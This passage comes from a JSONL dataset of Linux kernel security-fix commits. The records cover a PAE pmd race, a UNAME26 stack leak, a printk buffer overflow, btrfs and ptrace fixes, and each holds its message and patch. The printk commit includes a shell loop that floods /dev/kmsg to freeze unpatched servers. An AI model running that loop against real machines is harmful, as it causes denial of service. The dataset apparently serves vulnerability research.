ret;\n+\tu32 *tmp = (u32 *)pmdp;\n+\n+\tret = (pmdval_t) (*tmp);\n+\tif (ret) {\n+\t\t/*\n+\t\t * If the low part is null, we must not read the high part\n+\t\t * or we can end up with a partial pmd.\n+\t\t */\n+\t\tsmp_rmb();\n+\t\tret |= ((pmdval_t)*(tmp + 1)) << 32;\n+\t}\n+\n+\treturn (pmd_t) { ret };\n+}\n+#else /* CONFIG_TRANSPARENT_HUGEPAGE */\n+static inline pmd_t pmd_read_atomic(pmd_t *pmdp)\n+{\n+\treturn (pmd_t) { atomic64_read((atomic64_t *)pmdp) };\n+}\n+#endif /* CONFIG_TRANSPARENT_HUGEPAGE */\n+\n static inline void native_set_pte_atomic(pte_t *ptep, pte_t pte)\n {\n \tset_64bit((unsigned long long *)(ptep), native_pte_val(pte));", "sections": [{"section": "@@ -31,6 +31,56 @@ static inline void native_set_pte(pte_t *ptep, pte_t pte)\n \tptep->pte_low = pte.pte_low;\n }\n \n+#define pmd_read_atomic pmd_read_atomic\n+/*\n+ * pte_offset_map_lock on 32bit PAE kernels was reading the pmd_t with\n+ * a \"*pmdp\" dereference done by gcc. Problem is, in certain places\n+ * where pte_offset_map_lock is called, concurrent page faults are\n+ * allowed, if the mmap_sem is hold for reading. An example is mincore\n+ * vs page faults vs MADV_DONTNEED. On the page fault side\n+ * pmd_populate rightfully does a set_64bit, but if we're reading the\n+ * pmd_t with a \"*pmdp\" on the mincore side, a SMP race can happen\n+ * because gcc will not read the 64bit of the pmd atomically. To fix\n+ * this all places running pmd_offset_map_lock() while holding the\n+ * mmap_sem in read mode, shall read the pmdp pointer using this\n+ * function to know if the pmd is null nor not, and in turn to know if\n+ * they can run pmd_offset_map_lock or pmd_trans_huge or other pmd\n+ * operations.\n+ *\n+ * Without THP if the mmap_sem is hold for reading, the\n+ * pmd can only transition from null to not null while pmd_read_atomic runs.\n+ * So there's no need of literally reading it atomically.\n+ *\n+ * With THP if the mmap_sem is hold for reading, the pmd can become\n+ * THP or null or point to a pte (and in turn become \"stable\") at any\n+ * time under pmd_read_atomic, so it's mandatory to read it atomically\n+ * with cmpxchg8b.\n+ */\n+#ifndef CONFIG_TRANSPARENT_HUGEPAGE\n+static inline pmd_t pmd_read_atomic(pmd_t *pmdp)\n+{\n+\tpmdval_t ret;\n+\tu32 *tmp = (u32 *)pmdp;\n+\n+\tret = (pmdval_t) (*tmp);\n+\tif (ret) {\n+\t\t/*\n+\t\t * If the low part is null, we must not read the high part\n+\t\t * or we can end up with a partial pmd.\n+\t\t */\n+\t\tsmp_rmb();\n+\t\tret |= ((pmdval_t)*(tmp + 1)) << 32;\n+\t}\n+\n+\treturn (pmd_t) { ret };\n+}\n+#else /* CONFIG_TRANSPARENT_HUGEPAGE */\n+static inline pmd_t pmd_read_atomic(pmd_t *pmdp)\n+{\n+\treturn (pmd_t) { atomic64_read((atomic64_t *)pmdp) };\n+}\n+#endif /* CONFIG_TRANSPARENT_HUGEPAGE */\n+\n static inline void native_set_pte_atomic(pte_t *ptep, pte_t pte)\n {\n \tset_64bit((unsigned long long *)(ptep), native_pte_val(pte));", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/ethernet/sfc/tx.c", "commit_id": "68cb695ccecf949d48949e72f8ce591fdaaa325c", "commit_message": "sfc: Fix maximum number of TSO segments and minimum TX queue size\n\n[ Upstream commit 7e6d06f0de3f74ca929441add094518ae332257c ]\n\nCurrently an skb requiring TSO may not fit within a minimum-size TX\nqueue. The TX queue selected for the skb may stall and trigger the TX\nwatchdog repeatedly (since the problem skb will be retried after the\nTX reset). This issue is designated as CVE-2012-3412.\n\nSet the maximum number of TSO segments for our devices to 100. This\nshould make no difference to behaviour unless the actual MSS is less\nthan about 700. Increase the minimum TX queue size accordingly to\nallow for 2 worst-case skbs, so that there will definitely be space\nto add an skb after we wake a queue.\n\nTo avoid invalidating existing configurations, change\nefx_ethtool_set_ringparam() to fix up values that are too small rather\nthan returning -EINVAL.\n\nSigned-off-by: Ben Hutchings \nSigned-off-by: David S. Miller \nSigned-off-by: Ben Hutchings ", "patch": "@@ -115,6 +115,25 @@ efx_max_tx_len(struct efx_nic *efx, dma_addr_t dma_addr)\n \treturn len;\n }\n \n+unsigned int efx_tx_max_skb_descs(struct efx_nic *efx)\n+{\n+\t/* Header and payload descriptor for each output segment, plus\n+\t * one for every input fragment boundary within a segment\n+\t */\n+\tunsigned int max_descs = EFX_TSO_MAX_SEGS * 2 + MAX_SKB_FRAGS;\n+\n+\t/* Possibly one more per segment for the alignment workaround */\n+\tif (EFX_WORKAROUND_5391(efx))\n+\t\tmax_descs += EFX_TSO_MAX_SEGS;\n+\n+\t/* Possibly more for PCIe page boundaries within input fragments */\n+\tif (PAGE_SIZE > EFX_PAGE_SIZE)\n+\t\tmax_descs += max_t(unsigned int, MAX_SKB_FRAGS,\n+\t\t\t\t DIV_ROUND_UP(GSO_MAX_SIZE, EFX_PAGE_SIZE));\n+\n+\treturn max_descs;\n+}\n+\n /*\n * Add a socket buffer to a TX queue\n *", "sections": [{"section": "@@ -115,6 +115,25 @@ efx_max_tx_len(struct efx_nic *efx, dma_addr_t dma_addr)\n \treturn len;\n }\n \n+unsigned int efx_tx_max_skb_descs(struct efx_nic *efx)\n+{\n+\t/* Header and payload descriptor for each output segment, plus\n+\t * one for every input fragment boundary within a segment\n+\t */\n+\tunsigned int max_descs = EFX_TSO_MAX_SEGS * 2 + MAX_SKB_FRAGS;\n+\n+\t/* Possibly one more per segment for the alignment workaround */\n+\tif (EFX_WORKAROUND_5391(efx))\n+\t\tmax_descs += EFX_TSO_MAX_SEGS;\n+\n+\t/* Possibly more for PCIe page boundaries within input fragments */\n+\tif (PAGE_SIZE > EFX_PAGE_SIZE)\n+\t\tmax_descs += max_t(unsigned int, MAX_SKB_FRAGS,\n+\t\t\t\t DIV_ROUND_UP(GSO_MAX_SIZE, EFX_PAGE_SIZE));\n+\n+\treturn max_descs;\n+}\n+\n /*\n * Add a socket buffer to a TX queue\n *", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/dccp/ipv6.c", "commit_id": "f6d8bd051c391c1c0458a30b2a7abcd939329259", "commit_message": "inet: add RCU protection to inet->opt\n\nWe lack proper synchronization to manipulate inet->opt ip_options\n\nProblem is ip_make_skb() calls ip_setup_cork() and\nip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),\nwithout any protection against another thread manipulating inet->opt.\n\nAnother thread can change inet->opt pointer and free old one under us.\n\nUse RCU to protect inet->opt (changed to inet->inet_opt).\n\nInstead of handling atomic refcounts, just copy ip_options when\nnecessary, to avoid cache line dirtying.\n\nWe cant insert an rcu_head in struct ip_options since its included in\nskb->cb[], so this patch is large because I had to introduce a new\nip_options_rcu structure.\n\nSigned-off-by: Eric Dumazet \nCc: Herbert Xu \nSigned-off-by: David S. Miller ", "patch": "@@ -573,7 +573,7 @@ static struct sock *dccp_v6_request_recv_sock(struct sock *sk,\n \n \t First: no IPv4 options.\n \t */\n-\tnewinet->opt = NULL;\n+\tnewinet->inet_opt = NULL;\n \n \t/* Clone RX bits */\n \tnewnp->rxopt.all = np->rxopt.all;", "sections": [{"section": "@@ -573,7 +573,7 @@ static struct sock *dccp_v6_request_recv_sock(struct sock *sk,\n \n \t First: no IPv4 options.\n \t */\n-\tnewinet->opt = NULL;\n+\tnewinet->inet_opt = NULL;\n \n \t/* Clone RX bits */\n \tnewnp->rxopt.all = np->rxopt.all;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv4/tcp_ipv4.c", "commit_id": "f6d8bd051c391c1c0458a30b2a7abcd939329259", "commit_message": "inet: add RCU protection to inet->opt\n\nWe lack proper synchronization to manipulate inet->opt ip_options\n\nProblem is ip_make_skb() calls ip_setup_cork() and\nip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),\nwithout any protection against another thread manipulating inet->opt.\n\nAnother thread can change inet->opt pointer and free old one under us.\n\nUse RCU to protect inet->opt (changed to inet->inet_opt).\n\nInstead of handling atomic refcounts, just copy ip_options when\nnecessary, to avoid cache line dirtying.\n\nWe cant insert an rcu_head in struct ip_options since its included in\nskb->cb[], so this patch is large because I had to introduce a new\nip_options_rcu structure.\n\nSigned-off-by: Eric Dumazet \nCc: Herbert Xu \nSigned-off-by: David S. Miller ", "patch": "@@ -154,6 +154,7 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \tstruct flowi4 fl4;\n \tstruct rtable *rt;\n \tint err;\n+\tstruct ip_options_rcu *inet_opt;\n \n \tif (addr_len < sizeof(struct sockaddr_in))\n \t\treturn -EINVAL;\n@@ -162,10 +163,12 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \t\treturn -EAFNOSUPPORT;\n \n \tnexthop = daddr = usin->sin_addr.s_addr;\n-\tif (inet->opt && inet->opt->srr) {\n+\tinet_opt = rcu_dereference_protected(inet->inet_opt,\n+\t\t\t\t\t sock_owned_by_user(sk));\n+\tif (inet_opt && inet_opt->opt.srr) {\n \t\tif (!daddr)\n \t\t\treturn -EINVAL;\n-\t\tnexthop = inet->opt->faddr;\n+\t\tnexthop = inet_opt->opt.faddr;\n \t}\n \n \torig_sport = inet->inet_sport;\n@@ -186,7 +189,7 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \t\treturn -ENETUNREACH;\n \t}\n \n-\tif (!inet->opt || !inet->opt->srr)\n+\tif (!inet_opt || !inet_opt->opt.srr)\n \t\tdaddr = rt->rt_dst;\n \n \tif (!inet->inet_saddr)\n@@ -222,8 +225,8 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \tinet->inet_daddr = daddr;\n \n \tinet_csk(sk)->icsk_ext_hdr_len = 0;\n-\tif (inet->opt)\n-\t\tinet_csk(sk)->icsk_ext_hdr_len = inet->opt->optlen;\n+\tif (inet_opt)\n+\t\tinet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen;\n \n \ttp->rx_opt.mss_clamp = TCP_MSS_DEFAULT;\n \n@@ -820,17 +823,18 @@ static void syn_flood_warning(const struct sk_buff *skb)\n /*\n * Save and compile IPv4 options into the request_sock if needed.\n */\n-static struct ip_options *tcp_v4_save_options(struct sock *sk,\n-\t\t\t\t\t struct sk_buff *skb)\n+static struct ip_options_rcu *tcp_v4_save_options(struct sock *sk,\n+\t\t\t\t\t\t struct sk_buff *skb)\n {\n-\tstruct ip_options *opt = &(IPCB(skb)->opt);\n-\tstruct ip_options *dopt = NULL;\n+\tconst struct ip_options *opt = &(IPCB(skb)->opt);\n+\tstruct ip_options_rcu *dopt = NULL;\n \n \tif (opt && opt->optlen) {\n-\t\tint opt_size = optlength(opt);\n+\t\tint opt_size = sizeof(*dopt) + opt->optlen;\n+\n \t\tdopt = kmalloc(opt_size, GFP_ATOMIC);\n \t\tif (dopt) {\n-\t\t\tif (ip_options_echo(dopt, skb)) {\n+\t\t\tif (ip_options_echo(&dopt->opt, skb)) {\n \t\t\t\tkfree(dopt);\n \t\t\t\tdopt = NULL;\n \t\t\t}\n@@ -1411,6 +1415,7 @@ struct sock *tcp_v4_syn_recv_sock(struct sock *sk, struct sk_buff *skb,\n #ifdef CONFIG_TCP_MD5SIG\n \tstruct tcp_md5sig_key *key;\n #endif\n+\tstruct ip_options_rcu *inet_opt;\n \n \tif (sk_acceptq_is_full(sk))\n \t\tgoto exit_overflow;\n@@ -1431,13 +1436,14 @@ struct sock *tcp_v4_syn_recv_sock(struct sock *sk, struct sk_buff *skb,\n \tnewinet->inet_daddr = ireq->rmt_addr;\n \tnewinet->inet_rcv_saddr = ireq->loc_addr;\n \tnewinet->inet_saddr\t = ireq->loc_addr;\n-\tnewinet->opt\t = ireq->opt;\n+\tinet_opt\t = ireq->opt;\n+\trcu_assign_pointer(newinet->inet_opt, inet_opt);\n \tireq->opt\t = NULL;\n \tnewinet->mc_index = inet_iif(skb);\n \tnewinet->mc_ttl\t = ip_hdr(skb)->ttl;\n \tinet_csk(newsk)->icsk_ext_hdr_len = 0;\n-\tif (newinet->opt)\n-\t\tinet_csk(newsk)->icsk_ext_hdr_len = newinet->opt->optlen;\n+\tif (inet_opt)\n+\t\tinet_csk(newsk)->icsk_ext_hdr_len = inet_opt->opt.optlen;\n \tnewinet->inet_id = newtp->write_seq ^ jiffies;\n \n \ttcp_mtup_init(newsk);", "sections": [{"section": "@@ -154,6 +154,7 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \tstruct flowi4 fl4;\n \tstruct rtable *rt;\n \tint err;\n+\tstruct ip_options_rcu *inet_opt;\n \n \tif (addr_len < sizeof(struct sockaddr_in))\n \t\treturn -EINVAL;\n", "related": false}, {"section": "@@ -162,10 +163,12 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \t\treturn -EAFNOSUPPORT;\n \n \tnexthop = daddr = usin->sin_addr.s_addr;\n-\tif (inet->opt && inet->opt->srr) {\n+\tinet_opt = rcu_dereference_protected(inet->inet_opt,\n+\t\t\t\t\t sock_owned_by_user(sk));\n+\tif (inet_opt && inet_opt->opt.srr) {\n \t\tif (!daddr)\n \t\t\treturn -EINVAL;\n-\t\tnexthop = inet->opt->faddr;\n+\t\tnexthop = inet_opt->opt.faddr;\n \t}\n \n \torig_sport = inet->inet_sport;\n", "related": false}, {"section": "@@ -186,7 +189,7 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \t\treturn -ENETUNREACH;\n \t}\n \n-\tif (!inet->opt || !inet->opt->srr)\n+\tif (!inet_opt || !inet_opt->opt.srr)\n \t\tdaddr = rt->rt_dst;\n \n \tif (!inet->inet_saddr)\n", "related": false}, {"section": "@@ -222,8 +225,8 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n \tinet->inet_daddr = daddr;\n \n \tinet_csk(sk)->icsk_ext_hdr_len = 0;\n-\tif (inet->opt)\n-\t\tinet_csk(sk)->icsk_ext_hdr_len = inet->opt->optlen;\n+\tif (inet_opt)\n+\t\tinet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen;\n \n \ttp->rx_opt.mss_clamp = TCP_MSS_DEFAULT;\n \n", "related": false}, {"section": "@@ -820,17 +823,18 @@ static void syn_flood_warning(const struct sk_buff *skb)\n /*\n * Save and compile IPv4 options into the request_sock if needed.\n */\n-static struct ip_options *tcp_v4_save_options(struct sock *sk,\n-\t\t\t\t\t struct sk_buff *skb)\n+static struct ip_options_rcu *tcp_v4_save_options(struct sock *sk,\n+\t\t\t\t\t\t struct sk_buff *skb)\n {\n-\tstruct ip_options *opt = &(IPCB(skb)->opt);\n-\tstruct ip_options *dopt = NULL;\n+\tconst struct ip_options *opt = &(IPCB(skb)->opt);\n+\tstruct ip_options_rcu *dopt = NULL;\n \n \tif (opt && opt->optlen) {\n-\t\tint opt_size = optlength(opt);\n+\t\tint opt_size = sizeof(*dopt) + opt->optlen;\n+\n \t\tdopt = kmalloc(opt_size, GFP_ATOMIC);\n \t\tif (dopt) {\n-\t\t\tif (ip_options_echo(dopt, skb)) {\n+\t\t\tif (ip_options_echo(&dopt->opt, skb)) {\n \t\t\t\tkfree(dopt);\n \t\t\t\tdopt = NULL;\n \t\t\t}\n", "related": false}, {"section": "@@ -1411,6 +1415,7 @@ struct sock *tcp_v4_syn_recv_sock(struct sock *sk, struct sk_buff *skb,\n #ifdef CONFIG_TCP_MD5SIG\n \tstruct tcp_md5sig_key *key;\n #endif\n+\tstruct ip_options_rcu *inet_opt;\n \n \tif (sk_acceptq_is_full(sk))\n \t\tgoto exit_overflow;\n", "related": false}, {"section": "@@ -1431,13 +1436,14 @@ struct sock *tcp_v4_syn_recv_sock(struct sock *sk, struct sk_buff *skb,\n \tnewinet->inet_daddr = ireq->rmt_addr;\n \tnewinet->inet_rcv_saddr = ireq->loc_addr;\n \tnewinet->inet_saddr\t = ireq->loc_addr;\n-\tnewinet->opt\t = ireq->opt;\n+\tinet_opt\t = ireq->opt;\n+\trcu_assign_pointer(newinet->inet_opt, inet_opt);\n \tireq->opt\t = NULL;\n \tnewinet->mc_index = inet_iif(skb);\n \tnewinet->mc_ttl\t = ip_hdr(skb)->ttl;\n \tinet_csk(newsk)->icsk_ext_hdr_len = 0;\n-\tif (newinet->opt)\n-\t\tinet_csk(newsk)->icsk_ext_hdr_len = newinet->opt->optlen;\n+\tif (inet_opt)\n+\t\tinet_csk(newsk)->icsk_ext_hdr_len = inet_opt->opt.optlen;\n \tnewinet->inet_id = newtp->write_seq ^ jiffies;\n \n \ttcp_mtup_init(newsk);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/posix-cpu-timers.c", "commit_id": "f8bd2258e2d520dff28c855658bd24bdafb5102d", "commit_message": "remove div_long_long_rem\n\nx86 is the only arch right now, which provides an optimized for\ndiv_long_long_rem and it has the downside that one has to be very careful that\nthe divide doesn't overflow.\n\nThe API is a little akward, as the arguments for the unsigned divide are\nsigned. The signed version also doesn't handle a negative divisor and\nproduces worse code on 64bit archs.\n\nThere is little incentive to keep this API alive, so this converts the few\nusers to the new API.\n\nSigned-off-by: Roman Zippel \nCc: Ralf Baechle \nCc: Ingo Molnar \nCc: Thomas Gleixner \nCc: john stultz \nCc: Christoph Lameter \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -4,8 +4,9 @@\n \n #include \n #include \n-#include \n #include \n+#include \n+#include \n \n static int check_clock(const clockid_t which_clock)\n {\n@@ -47,12 +48,10 @@ static void sample_to_timespec(const clockid_t which_clock,\n \t\t\t union cpu_time_count cpu,\n \t\t\t struct timespec *tp)\n {\n-\tif (CPUCLOCK_WHICH(which_clock) == CPUCLOCK_SCHED) {\n-\t\ttp->tv_sec = div_long_long_rem(cpu.sched,\n-\t\t\t\t\t NSEC_PER_SEC, &tp->tv_nsec);\n-\t} else {\n+\tif (CPUCLOCK_WHICH(which_clock) == CPUCLOCK_SCHED)\n+\t\t*tp = ns_to_timespec(cpu.sched);\n+\telse\n \t\tcputime_to_timespec(cpu.cpu, tp);\n-\t}\n }\n \n static inline int cpu_time_before(const clockid_t which_clock,", "sections": [{"section": "@@ -4,8 +4,9 @@\n \n #include \n #include \n-#include \n #include \n+#include \n+#include \n \n static int check_clock(const clockid_t which_clock)\n {\n", "related": false}, {"section": "@@ -47,12 +48,10 @@ static void sample_to_timespec(const clockid_t which_clock,\n \t\t\t union cpu_time_count cpu,\n \t\t\t struct timespec *tp)\n {\n-\tif (CPUCLOCK_WHICH(which_clock) == CPUCLOCK_SCHED) {\n-\t\ttp->tv_sec = div_long_long_rem(cpu.sched,\n-\t\t\t\t\t NSEC_PER_SEC, &tp->tv_nsec);\n-\t} else {\n+\tif (CPUCLOCK_WHICH(which_clock) == CPUCLOCK_SCHED)\n+\t\t*tp = ns_to_timespec(cpu.sched);\n+\telse\n \t\tcputime_to_timespec(cpu.cpu, tp);\n-\t}\n }\n \n static inline int cpu_time_before(const clockid_t which_clock,", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/sys.c", "commit_id": "2702b1526c7278c4d65d78de209a465d4de2885e", "commit_message": "kernel/sys.c: fix stack memory content leak via UNAME26\n\nCalling uname() with the UNAME26 personality set allows a leak of kernel\nstack contents. This fixes it by defensively calculating the length of\ncopy_to_user() call, making the len argument unsigned, and initializing\nthe stack buffer to zero (now technically unneeded, but hey, overkill).\n\nCVE-2012-0957\n\nReported-by: PaX Team \nSigned-off-by: Kees Cook \nCc: Andi Kleen \nCc: PaX Team \nCc: Brad Spengler \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -1265,15 +1265,16 @@ DECLARE_RWSEM(uts_sem);\n * Work around broken programs that cannot handle \"Linux 3.0\".\n * Instead we map 3.x to 2.6.40+x, so e.g. 3.0 would be 2.6.40\n */\n-static int override_release(char __user *release, int len)\n+static int override_release(char __user *release, size_t len)\n {\n \tint ret = 0;\n-\tchar buf[65];\n \n \tif (current->personality & UNAME26) {\n-\t\tchar *rest = UTS_RELEASE;\n+\t\tconst char *rest = UTS_RELEASE;\n+\t\tchar buf[65] = { 0 };\n \t\tint ndots = 0;\n \t\tunsigned v;\n+\t\tsize_t copy;\n \n \t\twhile (*rest) {\n \t\t\tif (*rest == '.' && ++ndots >= 3)\n@@ -1283,8 +1284,9 @@ static int override_release(char __user *release, int len)\n \t\t\trest++;\n \t\t}\n \t\tv = ((LINUX_VERSION_CODE >> 8) & 0xff) + 40;\n-\t\tsnprintf(buf, len, \"2.6.%u%s\", v, rest);\n-\t\tret = copy_to_user(release, buf, len);\n+\t\tcopy = min(sizeof(buf), max_t(size_t, 1, len));\n+\t\tcopy = scnprintf(buf, copy, \"2.6.%u%s\", v, rest);\n+\t\tret = copy_to_user(release, buf, copy + 1);\n \t}\n \treturn ret;\n }", "sections": [{"section": "@@ -1265,15 +1265,16 @@ DECLARE_RWSEM(uts_sem);\n * Work around broken programs that cannot handle \"Linux 3.0\".\n * Instead we map 3.x to 2.6.40+x, so e.g. 3.0 would be 2.6.40\n */\n-static int override_release(char __user *release, int len)\n+static int override_release(char __user *release, size_t len)\n {\n \tint ret = 0;\n-\tchar buf[65];\n \n \tif (current->personality & UNAME26) {\n-\t\tchar *rest = UTS_RELEASE;\n+\t\tconst char *rest = UTS_RELEASE;\n+\t\tchar buf[65] = { 0 };\n \t\tint ndots = 0;\n \t\tunsigned v;\n+\t\tsize_t copy;\n \n \t\twhile (*rest) {\n \t\t\tif (*rest == '.' && ++ndots >= 3)\n", "related": true}, {"section": "@@ -1283,8 +1284,9 @@ static int override_release(char __user *release, int len)\n \t\t\trest++;\n \t\t}\n \t\tv = ((LINUX_VERSION_CODE >> 8) & 0xff) + 40;\n-\t\tsnprintf(buf, len, \"2.6.%u%s\", v, rest);\n-\t\tret = copy_to_user(release, buf, len);\n+\t\tcopy = min(sizeof(buf), max_t(size_t, 1, len));\n+\t\tcopy = scnprintf(buf, copy, \"2.6.%u%s\", v, rest);\n+\t\tret = copy_to_user(release, buf, copy + 1);\n \t}\n \treturn ret;\n }", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/printk.c", "commit_id": "ce0030c00f95cf9110d9cdcd41e901e1fb814417", "commit_message": "printk: fix buffer overflow when calling log_prefix function from call_console_drivers\n\nThis patch corrects a buffer overflow in kernels from 3.0 to 3.4 when calling\nlog_prefix() function from call_console_drivers().\n\nThis bug existed in previous releases but has been revealed with commit\n162a7e7500f9664636e649ba59defe541b7c2c60 (2.6.39 => 3.0) that made changes\nabout how to allocate memory for early printk buffer (use of memblock_alloc).\nIt disappears with commit 7ff9554bb578ba02166071d2d487b7fc7d860d62 (3.4 => 3.5)\nthat does a refactoring of printk buffer management.\n\nIn log_prefix(), the access to \"p[0]\", \"p[1]\", \"p[2]\" or\n\"simple_strtoul(&p[1], &endp, 10)\" may cause a buffer overflow as this\nfunction is called from call_console_drivers by passing \"&LOG_BUF(cur_index)\"\nwhere the index must be masked to do not exceed the buffer's boundary.\n\nThe trick is to prepare in call_console_drivers() a buffer with the necessary\ndata (PRI field of syslog message) to be safely evaluated in log_prefix().\n\nThis patch can be applied to stable kernel branches 3.0.y, 3.2.y and 3.4.y.\n\nWithout this patch, one can freeze a server running this loop from shell :\n $ export DUMMY=`cat /dev/urandom | tr -dc '12345AZERTYUIOPQSDFGHJKLMWXCVBNazertyuiopqsdfghjklmwxcvbn' | head -c255`\n $ while true do ; echo $DUMMY > /dev/kmsg ; done\n\nThe \"server freeze\" depends on where memblock_alloc does allocate printk buffer :\nif the buffer overflow is inside another kernel allocation the problem may not\nbe revealed, else the server may hangs up.\n\nSigned-off-by: Alexandre SIMON \nSigned-off-by: Greg Kroah-Hartman ", "patch": "@@ -638,8 +638,19 @@ static void call_console_drivers(unsigned start, unsigned end)\n \tstart_print = start;\n \twhile (cur_index != end) {\n \t\tif (msg_level < 0 && ((end - cur_index) > 2)) {\n+\t\t\t/*\n+\t\t\t * prepare buf_prefix, as a contiguous array,\n+\t\t\t * to be processed by log_prefix function\n+\t\t\t */\n+\t\t\tchar buf_prefix[SYSLOG_PRI_MAX_LENGTH+1];\n+\t\t\tunsigned i;\n+\t\t\tfor (i = 0; i < ((end - cur_index)) && (i < SYSLOG_PRI_MAX_LENGTH); i++) {\n+\t\t\t\tbuf_prefix[i] = LOG_BUF(cur_index + i);\n+\t\t\t}\n+\t\t\tbuf_prefix[i] = '\\0'; /* force '\\0' as last string character */\n+\n \t\t\t/* strip log prefix */\n-\t\t\tcur_index += log_prefix(&LOG_BUF(cur_index), &msg_level, NULL);\n+\t\t\tcur_index += log_prefix((const char *)&buf_prefix, &msg_level, NULL);\n \t\t\tstart_print = cur_index;\n \t\t}\n \t\twhile (cur_index != end) {", "sections": [{"section": "@@ -638,8 +638,19 @@ static void call_console_drivers(unsigned start, unsigned end)\n \tstart_print = start;\n \twhile (cur_index != end) {\n \t\tif (msg_level < 0 && ((end - cur_index) > 2)) {\n+\t\t\t/*\n+\t\t\t * prepare buf_prefix, as a contiguous array,\n+\t\t\t * to be processed by log_prefix function\n+\t\t\t */\n+\t\t\tchar buf_prefix[SYSLOG_PRI_MAX_LENGTH+1];\n+\t\t\tunsigned i;\n+\t\t\tfor (i = 0; i < ((end - cur_index)) && (i < SYSLOG_PRI_MAX_LENGTH); i++) {\n+\t\t\t\tbuf_prefix[i] = LOG_BUF(cur_index + i);\n+\t\t\t}\n+\t\t\tbuf_prefix[i] = '\\0'; /* force '\\0' as last string character */\n+\n \t\t\t/* strip log prefix */\n-\t\t\tcur_index += log_prefix(&LOG_BUF(cur_index), &msg_level, NULL);\n+\t\t\tcur_index += log_prefix((const char *)&buf_prefix, &msg_level, NULL);\n \t\t\tstart_print = cur_index;\n \t\t}\n \t\twhile (cur_index != end) {", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/btrfs/ctree.h", "commit_id": "9c52057c698fb96f8f07e7a4bcf4801a092bda89", "commit_message": "Btrfs: fix hash overflow handling\n\nThe handling for directory crc hash overflows was fairly obscure,\nsplit_leaf returns EOVERFLOW when we try to extend the item and that is\nsupposed to bubble up to userland. For a while it did so, but along the\nway we added better handling of errors and forced the FS readonly if we\nhit IO errors during the directory insertion.\n\nAlong the way, we started testing only for EEXIST and the EOVERFLOW case\nwas dropped. The end result is that we may force the FS readonly if we\ncatch a directory hash bucket overflow.\n\nThis fixes a few problem spots. First I add tests for EOVERFLOW in the\nplaces where we can safely just return the error up the chain.\n\nbtrfs_rename is harder though, because it tries to insert the new\ndirectory item only after it has already unlinked anything the rename\nwas going to overwrite. Rather than adding very complex logic, I added\na helper to test for the hash overflow case early while it is still safe\nto bail out.\n\nSnapshot and subvolume creation had a similar problem, so they are using\nthe new helper now too.\n\nSigned-off-by: Chris Mason \nReported-by: Pascal Junod ", "patch": "@@ -3283,6 +3283,8 @@ void btrfs_update_root_times(struct btrfs_trans_handle *trans,\n \t\t\t struct btrfs_root *root);\n \n /* dir-item.c */\n+int btrfs_check_dir_item_collision(struct btrfs_root *root, u64 dir,\n+\t\t\t const char *name, int name_len);\n int btrfs_insert_dir_item(struct btrfs_trans_handle *trans,\n \t\t\t struct btrfs_root *root, const char *name,\n \t\t\t int name_len, struct inode *dir,", "sections": [{"section": "@@ -3283,6 +3283,8 @@ void btrfs_update_root_times(struct btrfs_trans_handle *trans,\n \t\t\t struct btrfs_root *root);\n \n /* dir-item.c */\n+int btrfs_check_dir_item_collision(struct btrfs_root *root, u64 dir,\n+\t\t\t const char *name, int name_len);\n int btrfs_insert_dir_item(struct btrfs_trans_handle *trans,\n \t\t\t struct btrfs_root *root, const char *name,\n \t\t\t int name_len, struct inode *dir,", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/kernel/step.c", "commit_id": "9899d11f654474d2d54ea52ceaa2a1f4db3abd68", "commit_message": "ptrace: ensure arch_ptrace/ptrace_request can never race with SIGKILL\n\nputreg() assumes that the tracee is not running and pt_regs_access() can\nsafely play with its stack. However a killed tracee can return from\nptrace_stop() to the low-level asm code and do RESTORE_REST, this means\nthat debugger can actually read/modify the kernel stack until the tracee\ndoes SAVE_REST again.\n\nset_task_blockstep() can race with SIGKILL too and in some sense this\nrace is even worse, the very fact the tracee can be woken up breaks the\nlogic.\n\nAs Linus suggested we can clear TASK_WAKEKILL around the arch_ptrace()\ncall, this ensures that nobody can ever wakeup the tracee while the\ndebugger looks at it. Not only this fixes the mentioned problems, we\ncan do some cleanups/simplifications in arch_ptrace() paths.\n\nProbably ptrace_unfreeze_traced() needs more callers, for example it\nmakes sense to make the tracee killable for oom-killer before\naccess_process_vm().\n\nWhile at it, add the comment into may_ptrace_stop() to explain why\nptrace_stop() still can't rely on SIGKILL and signal_pending_state().\n\nReported-by: Salman Qazi \nReported-by: Suleiman Souhlal \nSuggested-by: Linus Torvalds \nSigned-off-by: Oleg Nesterov \nSigned-off-by: Linus Torvalds ", "patch": "@@ -165,10 +165,11 @@ void set_task_blockstep(struct task_struct *task, bool on)\n \t * Ensure irq/preemption can't change debugctl in between.\n \t * Note also that both TIF_BLOCKSTEP and debugctl should\n \t * be changed atomically wrt preemption.\n-\t * FIXME: this means that set/clear TIF_BLOCKSTEP is simply\n-\t * wrong if task != current, SIGKILL can wakeup the stopped\n-\t * tracee and set/clear can play with the running task, this\n-\t * can confuse the next __switch_to_xtra().\n+\t *\n+\t * NOTE: this means that set/clear 